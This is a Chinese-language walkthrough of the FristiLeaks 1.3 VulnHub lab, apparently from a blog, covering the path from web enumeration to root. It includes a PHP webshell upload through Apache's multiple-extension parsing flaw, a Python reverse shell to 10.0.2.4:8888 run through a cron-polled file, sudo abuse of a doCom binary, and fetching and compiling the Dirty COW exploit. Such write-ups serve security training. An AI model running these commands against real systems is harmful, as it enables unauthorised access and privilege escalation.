赞
踩
运行环境:Virtualbox
攻击机:kali(10.0.2.15)
靶机:FristiLeaks 1.3(10.0.2.12)
目标:获取靶机root权限和flag
靶机下载地址:https://www.vulnhub.com/entry/fristileaks-13,133/
注意安装靶机的时候需要将靶机的MAC地址改为:08:00:27:A5:A6:76,否则靶机ip地址会获取不到
使用nmap主机发现,靶机ip为:10.0.2.12
使用nmap端口扫描发现靶机开放端口:80
nmap -A 10.0.2.12 -p 1-65535
打开网站未发现扫描有用的功能点,查看源码也没有什么有用的隐藏信息
使用dirsearch工具进行目录爆破,发现/robots.txt
文件
查看/robots.txt
文件,发现三个目录
但访问这三个目录都是显示这一个图片,寻找URL
图片右下角有个链接,猜想可能是访问那个链接找url,但访问发现这个链接什么也没有
后面发现是主页的/fristi/这个目录,访问该目录是一个登录界面
查看源码发现一段todo信息和一段base64加密的信息,根据todo信息可以猜测存在用户名:eezeepz
使用在线网站解密base64加密的信息,发现该加密信息为png图片内容数据
可以使用python代码解密,并将解密的数据保存为图片
import os
import base64
sss ="""{base64密文}"""
print(len(sss))
imagedata = base64.b64decode(sss)
print(imagedata)
file = open('1.png',"wb")
file.write(imagedata)
file.close()
查看图片,可以猜测该图片为密码信息,所以得到一组用户名密码:eezeepz:keKkeKKeKKeKkEkkEk
成功登录网站
该网站存在一个文件上传功能
尝试上传php一句话木马,上传失败,只能上传png,jpg,gif文件
根据nmap的扫描结果,该网站中间件为Apache httpd 2.2.15
,可能存在Apache HTTPD 多后缀解析漏洞:在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件。
可以尝试上传一句话木马文件webshell.php.png
使用蚂剑连接成功
反弹shell
获取交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
方法一:
在/home/eezeepz
目录下发现notes.txt
文件
我让你可以做一些自动检查,
但我只允许您访问 /usr/bin/* 系统二进制文件。我做了
但是,将一些额外的经常需要的命令复制到我的
homedir: chmod, df, cat, echo, ps, grep, egrep 这样你就可以使用它们
从 /home/admin/只需在 /tmp/ 中放入一个名为“runthis”的文件,每行一个命令即可。这
输出转到 /tmp/ 中的文件“cronresult”。它应该
使用“我的帐户”权限运行每分钟。
可以在/tmp/
目录下放一个文件名为runthis的脚本文件,反弹shell(只能使用/usr/bin/目录和homedir: chmod, df, cat, echo, ps, grep, egrep命令)
将以下命令写入runthis文件反弹shell失败
echo """/usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.4",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""" > /tmp/runthis
发现把反弹shell代码单独拎出来保存到/tmp/rev_shell.py
,然后将执行python脚本命令写入runthis文件,反弹shell成功:echo "/usr/bin/python /tmp/rev_shell.py" > /tmp/runthis
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.2.4",8888));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
获取交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
在/home/admin目录下发现两个密文和加密用的代码
我们可以根据加密代码编写解密代码
import base64,codecs,sys
def decodeString(str):
base64string=codecs.encode(str, 'rot13')
return base64.b64decode(base64string[::-1])
uncryptoResult=decodeString(sys.argv[1])
print(uncryptoResult)
解密得到:thisisalsopw123、LetThereBeFristi!
根据解压得到的明文形式可以猜测:LetThereBeFristi!
为fristigod用户的密码
切换为fristigod用户
使用命令sudo -l
查看一下具有sudo
权限的程序,发现可以fristi权限运行/var/fristigod/.secret_admin_stuff/doCom
尝试以fristi权限运行一下/var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
发现是该/var/fristigod/.secret_admin_stuff/doCom
文件后面跟着命令
执行id命令发现是root权限
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom id
可以以root身份打开一个终端,得到root权限
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
方法二:
使用命令uname -a
查看系统的内核版本,为Linux 2.6.32-573.8.1.el6.x86_64
我们直接使用经典的脏牛漏洞,该漏洞影响 Linux 2.6.22 版本至 4.6 版本的所有 Linux 系统。
将exp下载下来,使用web服务上传到靶机
主机:
service apache2 start
靶机:
cd /tmp
wget http://192.168.56.101/CVE-2016-5195.c
编译执行,在/etc/passwd
文件写入一个具有root权限的用户:firefart
gcc -pthread CVE-2016-5195.c -o CVE-2016-5195 -lcrypt
./CVE-2016-5195
切换为firefart用户,得到root权限
获取flag
参考链接:https://blog.csdn.net/weixin_41598660/article/details/104200558
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。